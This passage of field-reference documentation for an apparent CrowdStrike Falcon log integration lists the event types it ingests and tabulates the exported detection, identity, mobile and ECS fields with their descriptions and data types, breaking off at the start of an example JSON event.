AuthActivityAuditEvent -- FirewallMatchEvent -- RemoteResponseSessionStartEvent -- RemoteResponseSessionEndEvent -- CSPM Streaming events -- CSPM Search events -- IDP Incidents -- IDP Summary events -- Mobile Detection events -- Recon Notification events -- XDR Detection events -- Scheduled Report Notification events - -**Exported fields** - -| Field | Description | Type | -|---|---|---| -| @timestamp | Event timestamp. | date | -| agent.id | Unique identifier of this agent (if one exists). Example: For Beats this would be beat.id. | keyword | -| agent.name | Custom name of the agent. This is a name that can be given to an agent. This can be helpful if for example two Filebeat instances are running on the same host but a human readable separation is needed on which Filebeat instance data is coming from. | keyword | -| agent.type | Type of the agent. The agent type always stays the same and should be given by the agent used. In case of Filebeat the agent would always be Filebeat also if two Filebeat instances are run on the same machine. | keyword | -| agent.version | Version of the agent. | keyword | -| cloud.image.id | Image ID for the cloud instance. | keyword | -| crowdstrike.event.AccountCreationTimeStamp | The timestamp of when the source account was created in Active Directory. | date | -| crowdstrike.event.AccountId | | keyword | -| crowdstrike.event.ActivityId | ID of the activity that triggered the detection. | keyword | -| crowdstrike.event.AddedPrivilege | The difference between their current and previous list of privileges. | keyword | -| crowdstrike.event.AdditionalAccountObjectGuid | Additional involved user object GUID. | keyword | -| crowdstrike.event.AdditionalAccountObjectSid | Additional involved user object SID. | keyword | -| crowdstrike.event.AdditionalAccountUpn | Additional involved user UPN. | keyword | -| crowdstrike.event.AdditionalActivityId | ID of an additional activity related to the detection. | keyword | -| crowdstrike.event.AdditionalEndpointAccountObjectGuid | Additional involved endpoint object GUID. | keyword | -| crowdstrike.event.AdditionalEndpointAccountObjectSid | Additional involved endpoint object SID. | keyword | -| crowdstrike.event.AdditionalEndpointSensorId | Additional involved endpoint agent ID. | keyword | -| crowdstrike.event.AdditionalLocationCountryCode | Additional involved country code. | keyword | -| crowdstrike.event.AdditionalSsoApplicationIdentifier | Additional application identifier. | keyword | -| crowdstrike.event.AgentId | | keyword | -| crowdstrike.event.AgentIdString | | keyword | -| crowdstrike.event.AggregateId | | keyword | -| crowdstrike.event.AnodeIndicators | | nested | -| crowdstrike.event.AnomalousTicketContentClassification | Ticket signature analysis. | keyword | -| crowdstrike.event.AssociatedFile | The file associated with the triggering indicator. | keyword | -| crowdstrike.event.Attributes | JSON objects containing additional information about the event. | flattened | -| crowdstrike.event.AuditKeyValues | Fields that were changed in this event. | nested | -| crowdstrike.event.AuditKeyValues.Key | | keyword | -| crowdstrike.event.AuditKeyValues.ValueString | | keyword | -| crowdstrike.event.Category | IDP incident category. | keyword | -| crowdstrike.event.CertificateTemplateIdentifier | The ID of the certificate template. | keyword | -| crowdstrike.event.CertificateTemplateName | Name of the certificate template. | keyword | -| crowdstrike.event.Certificates | Provides one or more JSON objects which includes related SSL/TLS Certificates. | nested | -| crowdstrike.event.CloudPlatform | | keyword | -| crowdstrike.event.CloudProvider | | keyword | -| crowdstrike.event.CloudService | | keyword | -| crowdstrike.event.Commands | Commands run in a remote session. | keyword | -| crowdstrike.event.CompositeId | Global unique identifier that identifies a unique alert. | keyword | -| crowdstrike.event.ComputerName | Name of the computer where the detection occurred. | keyword | -| crowdstrike.event.ContentPatternCounts | | nested | -| crowdstrike.event.ContentPatterns.ConfidenceLevel | | long | -| crowdstrike.event.ContentPatterns.ID | | keyword | -| crowdstrike.event.ContentPatterns.MatchCount | | long | -| crowdstrike.event.ContentPatterns.Name | | keyword | -| crowdstrike.event.CustomerId | Customer identifier. | keyword | -| crowdstrike.event.DataDomains | Data domains of the event that was the primary indicator or created it. | keyword | -| crowdstrike.event.Description | | keyword | -| crowdstrike.event.Destination | | nested | -| crowdstrike.event.Destination.Channel | | keyword | -| crowdstrike.event.DetectId | Unique ID associated with the detection. | keyword | -| crowdstrike.event.DetectName | Name of the detection. | keyword | -| crowdstrike.event.DetectionType | | keyword | -| crowdstrike.event.DeviceId | Device on which the event occurred. | keyword | -| crowdstrike.event.DnsRequests | Detected DNS requests done by a process. | nested | -| crowdstrike.event.DocumentsAccessed | Detected documents accessed by a process. | nested | -| crowdstrike.event.DomainName | | keyword | -| crowdstrike.event.EgressEventId | | keyword | -| crowdstrike.event.EgressSessionId | | keyword | -| crowdstrike.event.EmailAddresses | Summary list of all associated entity email addresses. | keyword | -| crowdstrike.event.EnvironmentVariables | Provides one or more JSON objects which includes related environment variables. | nested | -| crowdstrike.event.EventTimestamp | | date | -| crowdstrike.event.EventType | CrowdStrike provided event type. | keyword | -| crowdstrike.event.ExecutablesWritten | Detected executables written to disk by a process. | nested | -| crowdstrike.event.ExecutablesWritten.FileName | | keyword | -| crowdstrike.event.ExecutablesWritten.FilePath | | keyword | -| crowdstrike.event.ExecutablesWritten.Timestamp | | keyword | -| crowdstrike.event.ExecutionID | | keyword | -| crowdstrike.event.ExecutionMetadata.ExecutionDuration | | long | -| crowdstrike.event.ExecutionMetadata.ExecutionStart | | date | -| crowdstrike.event.ExecutionMetadata.ReportFileName | | keyword | -| crowdstrike.event.ExecutionMetadata.ResultCount | | long | -| crowdstrike.event.ExecutionMetadata.ResultID | | keyword | -| crowdstrike.event.ExecutionMetadata.SearchWindowEnd | | date | -| crowdstrike.event.ExecutionMetadata.SearchWindowStart | | date | -| crowdstrike.event.FalconHostLink | | keyword | -| crowdstrike.event.FileCategoryCounts | | nested | -| crowdstrike.event.FileName | | keyword | -| crowdstrike.event.FilePath | | keyword | -| crowdstrike.event.FileType.Type.CategoryID | | keyword | -| crowdstrike.event.FileType.Type.CategoryName | | keyword | -| crowdstrike.event.FileType.Type.Description | | keyword | -| crowdstrike.event.FileType.Type.ID | | keyword | -| crowdstrike.event.FileType.Type.Name | | keyword | -| crowdstrike.event.FilesAccessed.FileName | | keyword | -| crowdstrike.event.FilesAccessed.FilePath | | keyword | -| crowdstrike.event.FilesAccessed.Timestamp | | date | -| crowdstrike.event.FilesEgressedCount | | long | -| crowdstrike.event.FilesWritten.FileName | | keyword | -| crowdstrike.event.FilesWritten.FilePath | | keyword | -| crowdstrike.event.FilesWritten.Timestamp | | date | -| crowdstrike.event.Finding | The details of the finding. | keyword | -| crowdstrike.event.FineScore | The highest incident score reached as of the time the event was sent. | float | -| crowdstrike.event.Flags.Audit | CrowdStrike audit flag. | boolean | -| crowdstrike.event.Flags.Log | CrowdStrike log flag. | boolean | -| crowdstrike.event.Flags.Monitor | CrowdStrike monitor flag. | boolean | -| crowdstrike.event.GrandParentCommandLine | | keyword | -| crowdstrike.event.GrandParentImageFileName | | keyword | -| crowdstrike.event.GrandParentImageFilePath | | keyword | -| crowdstrike.event.GrandparentCommandLine | Grandparent process command line arguments. | keyword | -| crowdstrike.event.GrandparentImageFileName | Path to the grandparent process. | keyword | -| crowdstrike.event.GrandparentImageFilePath | | keyword | -| crowdstrike.event.Highlights | Sections of content that matched the monitoring rule. | text | -| crowdstrike.event.HostGroups | Array of related Host Group IDs. | keyword | -| crowdstrike.event.Hostname | | keyword | -| crowdstrike.event.ICMPCode | RFC2780 ICMP Code field. | keyword | -| crowdstrike.event.ICMPType | RFC2780 ICMP Type field. | keyword | -| crowdstrike.event.IOARuleGroupName | | keyword | -| crowdstrike.event.IOARuleInstanceID | | keyword | -| crowdstrike.event.IOARuleInstanceVersion | Version number of the InstanceID that triggered. | long | -| crowdstrike.event.IOARuleName | Name given to the custom IOA rule that triggered. | keyword | -| crowdstrike.event.IOCType | CrowdStrike type for indicator of compromise. | keyword | -| crowdstrike.event.IOCValue | CrowdStrike value for indicator of compromise. | keyword | -| crowdstrike.event.IPv4 | | ip | -| crowdstrike.event.IPv6 | | ip | -| crowdstrike.event.IdpPolicyRuleAction | Identity Protection policy rule action. | keyword | -| crowdstrike.event.IdpPolicyRuleName | Identity Protection policy rule name. | keyword | -| crowdstrike.event.IdpPolicyRuleTrigger | Identity Protection policy rule trigger. | keyword | -| crowdstrike.event.IncidentType | Incident Type | keyword | -| crowdstrike.event.Ipv | Protocol for network request. | keyword | -| crowdstrike.event.IsClipboard | | boolean | -| crowdstrike.event.ItemPostedTimestamp | Time the raw intelligence was posted. | date | -| crowdstrike.event.ItemType | Type of raw intelligence. | keyword | -| crowdstrike.event.KeyStoreErrors | Describes a KeyStore error. | keyword | -| crowdstrike.event.LMHostIDs | Array of host IDs seen to have experienced lateral movement because of the incident. | keyword | -| crowdstrike.event.LateralMovement | Lateral movement field for incident. | long | -| crowdstrike.event.LdapSearchQueryAttack | Detected LDAP tool attack. | keyword | -| crowdstrike.event.LoadedObjects | Provides one or more JSON objects describing the loaded objects related to the detection. | nested | -| crowdstrike.event.LocalIP | IP address of the host associated with the detection. | keyword | -| crowdstrike.event.LocalIPv6 | | ip | -| crowdstrike.event.LogonDomain | | keyword | -| crowdstrike.event.MACAddress | MAC address of the host associated with the detection. | keyword | -| crowdstrike.event.MD5String | MD5 sum of the executable associated with the detection. | keyword | -| crowdstrike.event.MachineDomain | Domain for the machine associated with the detection. | keyword | -| crowdstrike.event.MatchCount | Number of firewall rule matches. | long | -| crowdstrike.event.MatchCountSinceLastReport | Number of firewall rule matches since the last report. | long | -| crowdstrike.event.MatchedClassification.ID | | keyword | -| crowdstrike.event.MatchedClassification.Name | | keyword | -| crowdstrike.event.MobileAppsDetails | Provides one or more JSON objects describing the related mobile applications. | nested | -| crowdstrike.event.MobileAppsDetails.AndroidAppLabel | | keyword | -| crowdstrike.event.MobileAppsDetails.AndroidAppVersionName | | keyword | -| crowdstrike.event.MobileAppsDetails.AppIdentifier | | keyword | -| crowdstrike.event.MobileAppsDetails.AppInstallerInformation | | keyword | -| crowdstrike.event.MobileAppsDetails.DexFileHashes | | keyword | -| crowdstrike.event.MobileAppsDetails.ImageFileName | | keyword | -| crowdstrike.event.MobileAppsDetails.IsBeingDebugged | | keyword | -| crowdstrike.event.MobileAppsDetails.IsContainerized | | keyword | -| crowdstrike.event.MobileDnsRequests | Provides one or more JSON objects describing the related DNS requests from the mobile device. | nested | -| crowdstrike.event.MobileNetworkConnections | Provides one or more JSON objects describing the related network connections from the mobile device. | nested | -| crowdstrike.event.MostRecentActivityTimeStamp | The timestamp of the latest activity performed by the account. | date | -| crowdstrike.event.MountedVolumes | Provides one or more JSON objects describing mounted volumes on the mobile device. | nested | -| crowdstrike.event.Name | | keyword | -| crowdstrike.event.NetworkAccesses | Detected Network traffic done by a process. | nested | -| crowdstrike.event.NetworkAccesses.AccessTimestamp | | keyword | -| crowdstrike.event.NetworkAccesses.AccessType | | keyword | -| crowdstrike.event.NetworkAccesses.ConnectionDirection | | keyword | -| crowdstrike.event.NetworkAccesses.IsIPV6 | | keyword | -| crowdstrike.event.NetworkAccesses.LocalAddress | | keyword | -| crowdstrike.event.NetworkAccesses.LocalPort | | keyword | -| crowdstrike.event.NetworkAccesses.Protocol | | keyword | -| crowdstrike.event.NetworkAccesses.RemoteAddress | | keyword | -| crowdstrike.event.NetworkAccesses.RemotePort | | keyword | -| crowdstrike.event.NetworkProfile | CrowdStrike network profile. | keyword | -| crowdstrike.event.NotificationId | ID of the generated notification. | keyword | -| crowdstrike.event.NumberOfCompromisedEntities | Number of compromised entities, users and endpoints. | long | -| crowdstrike.event.NumbersOfAlerts | Number of alerts in the identity-based incident. | long | -| crowdstrike.event.OARuleInstanceID | Numerical ID of the custom IOA rule under a given CID. | keyword | -| crowdstrike.event.Objective | Method of detection. | keyword | -| crowdstrike.event.ObjectiveCRuntimesAltered | Provides one or more JSON objects describing the obj-c methods related to the malware. | nested | -| crowdstrike.event.OperationName | Event subtype. | keyword | -| crowdstrike.event.OriginWebLocations | | flattened | -| crowdstrike.event.ParentImageFileName | The parent image file name involved. | keyword | -| crowdstrike.event.ParentImageFilePath | | keyword | -| crowdstrike.event.ParentProcessId | | long | -| crowdstrike.event.PatternDispositionDescription | | keyword | -| crowdstrike.event.PatternDispositionFlags.BlockingUnsupportedOrDisabled | | boolean | -| crowdstrike.event.PatternDispositionFlags.BootupSafeguardEnabled | | boolean | -| crowdstrike.event.PatternDispositionFlags.ContainmentFileSystem | | boolean | -| crowdstrike.event.PatternDispositionFlags.CriticalProcessDisabled | | boolean | -| crowdstrike.event.PatternDispositionFlags.Detect | | boolean | -| crowdstrike.event.PatternDispositionFlags.FsOperationBlocked | | boolean | -| crowdstrike.event.PatternDispositionFlags.HandleOperationDowngraded | | boolean | -| crowdstrike.event.PatternDispositionFlags.InddetMask | | boolean | -| crowdstrike.event.PatternDispositionFlags.Indicator | | boolean | -| crowdstrike.event.PatternDispositionFlags.KillActionFailed | | boolean | -| crowdstrike.event.PatternDispositionFlags.KillParent | | boolean | -| crowdstrike.event.PatternDispositionFlags.KillProcess | | boolean | -| crowdstrike.event.PatternDispositionFlags.KillSubProcess | | boolean | -| crowdstrike.event.PatternDispositionFlags.OperationBlocked | | boolean | -| crowdstrike.event.PatternDispositionFlags.PolicyDisabled | | boolean | -| crowdstrike.event.PatternDispositionFlags.ProcessBlocked | | boolean | -| crowdstrike.event.PatternDispositionFlags.QuarantineFile | | boolean | -| crowdstrike.event.PatternDispositionFlags.QuarantineMachine | | boolean | -| crowdstrike.event.PatternDispositionFlags.RegistryOperationBlocked | | boolean | -| crowdstrike.event.PatternDispositionFlags.Rooting | | boolean | -| crowdstrike.event.PatternDispositionFlags.SensorOnly | | boolean | -| crowdstrike.event.PatternDispositionFlags.SuspendParent | | boolean | -| crowdstrike.event.PatternDispositionFlags.SuspendProcess | | boolean | -| crowdstrike.event.PatternDispositionValue | Unique ID associated with action taken. | integer | -| crowdstrike.event.PatternId | The numerical ID of the pattern associated with the action taken on the detection. | keyword | -| crowdstrike.event.PlatformId | | keyword | -| crowdstrike.event.PlatformName | | keyword | -| crowdstrike.event.PolicyID | CrowdStrike policy id. | keyword | -| crowdstrike.event.PolicyId | The ID of the associated Policy. | long | -| crowdstrike.event.PolicyName | CrowdStrike policy name. | keyword | -| crowdstrike.event.PrecedingActivityTimeStamp | The timestamp of the activity before the most recent activity was performed. | date | -| crowdstrike.event.PreviousPrivileges | A list of the source account's privileges before privilege changes were made. | keyword | -| crowdstrike.event.ProcessId | | long | -| crowdstrike.event.Protocol | CrowdStrike provided protocol. | keyword | -| crowdstrike.event.ProtocolAnomalyClassification | Authentication signature analysis. | keyword | -| crowdstrike.event.ReferrerUrl | | keyword | -| crowdstrike.event.Region | | keyword | -| crowdstrike.event.RelatedClassifications.ID | | keyword | -| crowdstrike.event.RelatedClassifications.Name | | keyword | -| crowdstrike.event.ReportFileReference | | keyword | -| crowdstrike.event.ReportID | | keyword | -| crowdstrike.event.ReportName | | keyword | -| crowdstrike.event.ReportType | | keyword | -| crowdstrike.event.ResourceAttributes | A JSON blob with all resource attributes. | flattened | -| crowdstrike.event.ResourceId | The cloud resource identifier. | keyword | -| crowdstrike.event.ResourceIdType | The type of the detected resource identifier. | keyword | -| crowdstrike.event.ResourceName | Resource name if any. | keyword | -| crowdstrike.event.ResourceUrl | The URL to the cloud resource. | keyword | -| crowdstrike.event.ResponseAction | | keyword | -| crowdstrike.event.RootAccessIndicators | Provides one or more JSON objects which includes logs and stack traces from the suspicious source. | nested | -| crowdstrike.event.RpcOpClassification | RPC operation type. | keyword | -| crowdstrike.event.RuleAction | Firewall rule action. | keyword | -| crowdstrike.event.RuleId | | keyword | -| crowdstrike.event.RulePriority | Priority of the monitoring rule that found the match. | keyword | -| crowdstrike.event.SELinuxEnforcementPolicy | State of SELinux enforcement policy on an Android device. | keyword | -| crowdstrike.event.SHA1String | SHA1 sum of the executable associated with the detection. | keyword | -| crowdstrike.event.SHA256String | SHA256 sum of the executable associated with the detection. | keyword | -| crowdstrike.event.SafetyNetAdvice | Provides information to help explain why the Google SafetyNet Attestation API set eitherCTSProfileMatch or BasicIntegrity fields to false. | keyword | -| crowdstrike.event.SafetyNetBasicIntegrity | The result of a more lenient verdict for device integrity. | keyword | -| crowdstrike.event.SafetyNetCTSProfileMatch | The result of a stricter verdict for device integrity. | keyword | -| crowdstrike.event.SafetyNetErrorMessage | An encoded error message. | keyword | -| crowdstrike.event.SafetyNetErrors | Describes a SafetyNet error | keyword | -| crowdstrike.event.SafetyNetEvaluationType | Provides information about the type of measurements used to compute fields likeCTSProfileMatch and BasicIntegrity. | keyword | -| crowdstrike.event.ScanResults | Array of scan results. | nested | -| crowdstrike.event.ScheduledSearchExecutionId | ID of the specific search execution. | keyword | -| crowdstrike.event.ScheduledSearchId | Unique identifier of the associated scheduled search. | keyword | -| crowdstrike.event.ScheduledSearchUserId | User ID of the user that created the the associated scheduled search. | keyword | -| crowdstrike.event.ScheduledSearchUserUUID | UUID of the user that created the the associated scheduled search. | keyword | -| crowdstrike.event.SensorId | Unique ID associated with the Falcon sensor. | keyword | -| crowdstrike.event.ServiceName | Description of which related service was involved in the event. | keyword | -| crowdstrike.event.SessionId | Session ID of the remote response session. | keyword | -| crowdstrike.event.Severity | The integer severity level using Crowdstrike scaling. | integer | -| crowdstrike.event.SeverityName | The severity level of the detection, as a string (High/Medium/Informational). | keyword | -| crowdstrike.event.SourceAccountUpn | Source user UPN. | keyword | -| crowdstrike.event.SourceEndpointAccountObjectGuid | Source endpoint object GUID | keyword | -| crowdstrike.event.SourceEndpointAccountObjectSid | Source endpoint object SID. | keyword | -| crowdstrike.event.SourceEndpointIpReputation | Source endpoint IP reputation. | keyword | -| crowdstrike.event.SourceEndpointSensorId | Source endpoint agent ID. | keyword | -| crowdstrike.event.SourceProducts | Names of the products from which the source data originated. | keyword | -| crowdstrike.event.SourceVendors | Names of the vendors from which the source data originated. | keyword | -| crowdstrike.event.SsoApplicationIdentifier | Destination application identifier. | keyword | -| crowdstrike.event.State | Identity-based detection or incident status. | keyword | -| crowdstrike.event.Status | CrowdStrike status. | keyword | -| crowdstrike.event.StatusMessage | | keyword | -| crowdstrike.event.Success | Indicator of whether or not this event was successful. | boolean | -| crowdstrike.event.SuspiciousMachineAccountAlterationType | Machine alteration type. | keyword | -| crowdstrike.event.SystemProperties | Provides one or more JSON objects which includes related system properties. | nested | -| crowdstrike.event.Tags | Tags on the cloud resources if any. | nested | -| crowdstrike.event.TargetAccountDomain | Target user domain. | keyword | -| crowdstrike.event.TargetAccountName | Target user name. | keyword | -| crowdstrike.event.TargetAccountObjectSid | Target user object SID. | keyword | -| crowdstrike.event.TargetAccountUpn | Target user UPN. | keyword | -| crowdstrike.event.TargetEndpointAccountObjectGuid | Target endpoint object GUID. | keyword | -| crowdstrike.event.TargetEndpointAccountObjectSid | Target endpoint object SID. | keyword | -| crowdstrike.event.TargetEndpointHostName | Target endpoint hostname. | keyword | -| crowdstrike.event.TargetEndpointSensorId | Target endpoint agent ID. | keyword | -| crowdstrike.event.TargetServiceAccessIdentifier | Target SPN. | keyword | -| crowdstrike.event.Timestamp | Firewall rule triggered timestamp. | date | -| crowdstrike.event.Trampolines | Provides one or more JSON objects describing the relevant functions and processes performing inline API hooks. | nested | -| crowdstrike.event.TreeID | CrowdStrike tree id. | keyword | -| crowdstrike.event.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword | -| crowdstrike.event.UserDepartment | | keyword | -| crowdstrike.event.UserId | Email address or user ID associated with the event. | keyword | -| crowdstrike.event.UserMapped | | boolean | -| crowdstrike.event.UserName | | keyword | -| crowdstrike.event.UserNotified | | boolean | -| crowdstrike.event.UserTitle | | keyword | -| crowdstrike.event.UserUUID | | keyword | -| crowdstrike.event.VerifiedBootState | Provides the device’s current boot state. | keyword | -| crowdstrike.event.XdrType | Type of detection: xdr or xdr-scheduled-search. | keyword | -| crowdstrike.metadata.customerIDString | Customer identifier | keyword | -| crowdstrike.metadata.eventType | DetectionSummaryEvent, FirewallMatchEvent, IncidentSummaryEvent, RemoteResponseSessionStartEvent, RemoteResponseSessionEndEvent, AuthActivityAuditEvent, or UserActivityAuditEvent | keyword | -| crowdstrike.metadata.offset | Offset number that tracks the location of the event in stream. This is used to identify unique detection events. | integer | -| crowdstrike.metadata.version | Schema version | keyword | -| data_stream.dataset | Data stream dataset name. | constant_keyword | -| data_stream.namespace | Data stream namespace. | constant_keyword | -| data_stream.type | Data stream type. | constant_keyword | -| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | -| destination.as.organization.name | Organization name. | keyword | -| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text | -| destination.geo.city_name | City name. | keyword | -| destination.geo.continent_name | Name of the continent. | keyword | -| destination.geo.country_iso_code | Country ISO code. | keyword | -| destination.geo.country_name | Country name. | keyword | -| destination.geo.location | Longitude and latitude. | geo_point | -| destination.geo.region_iso_code | Region ISO code. | keyword | -| destination.geo.region_name | Region name. | keyword | -| destination.ip | IP address of the destination (IPv4 or IPv6). | ip | -| destination.port | Port of the destination. | long | -| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword | -| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | keyword | -| error.message | Error message. | match_only_text | -| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword | -| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword | -| event.code | Identification code for this event, if one exists. Some event sources use event codes to identify messages unambiguously, regardless of message language or wording adjustments over time. An example of this is the Windows Event ID. | keyword | -| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date | -| event.dataset | Event dataset | constant_keyword | -| event.end | `event.end` contains the date when the event ended or when the activity was last observed. | date | -| event.ingested | Timestamp when an event arrived in the central data store. This is different from `@timestamp`, which is when the event originally occurred. It's also different from `event.created`, which is meant to capture the first time an agent saw the event. In normal conditions, assuming no tampering, the timestamps should chronologically look like this: `@timestamp` \< `event.created` \< `event.ingested`. | date | -| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword | -| event.module | Event module | constant_keyword | -| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword | -| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword | -| event.severity | The numeric severity of the event according to your event source. What the different severity values mean can be different between sources and use cases. It's up to the implementer to make sure severities are consistent across events from the same source. The Syslog severity belongs in `log.syslog.severity.code`. `event.severity` is meant to represent the severity according to the event source (e.g. firewall, IDS). If the event source does not publish its own severity, you may optionally copy the `log.syslog.severity.code` to `event.severity`. | long | -| event.start | `event.start` contains the date when the event started or when the activity was first observed. | date | -| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword | -| event.url | URL linking to an external system to continue investigation of this event. This URL links to another system where in-depth investigation of the specific occurrence of this event can take place. Alert events, indicated by `event.kind:alert`, are a common use case for this field. | keyword | -| file.hash.md5 | MD5 hash. | keyword | -| file.hash.sha1 | SHA1 hash. | keyword | -| file.hash.sha256 | SHA256 hash. | keyword | -| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword | -| file.path.text | Multi-field of `file.path`. | match_only_text | -| host.containerized | If the host is a container. | boolean | -| host.os.build | OS build information. | keyword | -| host.os.codename | OS codename, if any. | keyword | -| input.type | Type of Filebeat input. | keyword | -| log.flags | Flags for the log file. | keyword | -| log.offset | Offset of the entry in the log file. | long | -| message | For log events the message field contains the log message, optimized for viewing in a log viewer. For structured logs without an original message field, other fields can be concatenated to form a human-readable summary of the event. If multiple messages exist, they can be combined into one message. | match_only_text | -| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword | -| network.type | In the OSI Model this would be the Network Layer. ipv4, ipv6, ipsec, pim, etc The field value must be normalized to lowercase for querying. | keyword | -| observer.product | The product name of the observer. | keyword | -| observer.vendor | Vendor name of the observer. | keyword | -| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | -| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | -| process.command_line.text | Multi-field of `process.command_line`. | match_only_text | -| process.end | The time the process ended. | date | -| process.executable | Absolute path to the process executable. | keyword | -| process.executable.text | Multi-field of `process.executable`. | match_only_text | -| process.name | Process name. Sometimes called program name or similar. | keyword | -| process.name.text | Multi-field of `process.name`. | match_only_text | -| process.parent.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | -| process.parent.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | -| process.parent.command_line.text | Multi-field of `process.parent.command_line`. | match_only_text | -| process.parent.executable | Absolute path to the process executable. | keyword | -| process.parent.executable.text | Multi-field of `process.parent.executable`. | match_only_text | -| process.parent.pid | Process id. | long | -| process.pid | Process id. | long | -| process.start | The time the process started. | date | -| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword | -| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword | -| related.ip | All of the IPs seen on your event. | ip | -| related.user | All the user names or other user identifiers seen on the event. | keyword | -| rule.author | Name, organization, or pseudonym of the author or authors who created the rule used to generate this event. | keyword | -| rule.category | A categorization value keyword used by the entity using the rule for detection of this event. | keyword | -| rule.description | The description of the rule generating the event. | keyword | -| rule.id | A rule ID that is unique within the scope of an agent, observer, or other entity using the rule for detection of this event. | keyword | -| rule.name | The name of the rule or signature generating the event. | keyword | -| rule.ruleset | Name of the ruleset, policy, group, or parent category in which the rule used to generate this event is a member. | keyword | -| rule.uuid | A rule ID that is unique within the scope of a set or group of agents, observers, or other entities using the rule for detection of this event. | keyword | -| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | -| source.as.organization.name | Organization name. | keyword | -| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text | -| source.geo.city_name | City name. | keyword | -| source.geo.continent_name | Name of the continent. | keyword | -| source.geo.country_iso_code | Country ISO code. | keyword | -| source.geo.country_name | Country name. | keyword | -| source.geo.location | Longitude and latitude. | geo_point | -| source.geo.region_iso_code | Region ISO code. | keyword | -| source.geo.region_name | Region name. | keyword | -| source.ip | IP address of the source (IPv4 or IPv6). | ip | -| source.port | Port of the source. | long | -| tags | List of keywords used to tag each event. | keyword | -| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword | -| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword | -| threat.tactic.name | Name of the type of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/) | keyword | -| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | -| threat.technique.name | The name of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | -| threat.technique.name.text | Multi-field of `threat.technique.name`. | match_only_text | -| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword | -| user.email | User email address. | keyword | -| user.id | Unique identifier of the user. | keyword | -| user.name | Short name or login of the user. | keyword | -| user.name.text | Multi-field of `user.name`. | match_only_text | - - -An example event for `falcon` looks as following: - -```json -{ - "@timestamp": "2023-11-02T13:41:34.000Z", - "agent": { - "ephemeral_id": "8f4a039c-66d4-439c-a43f-c5a95f653dd4", - "id": 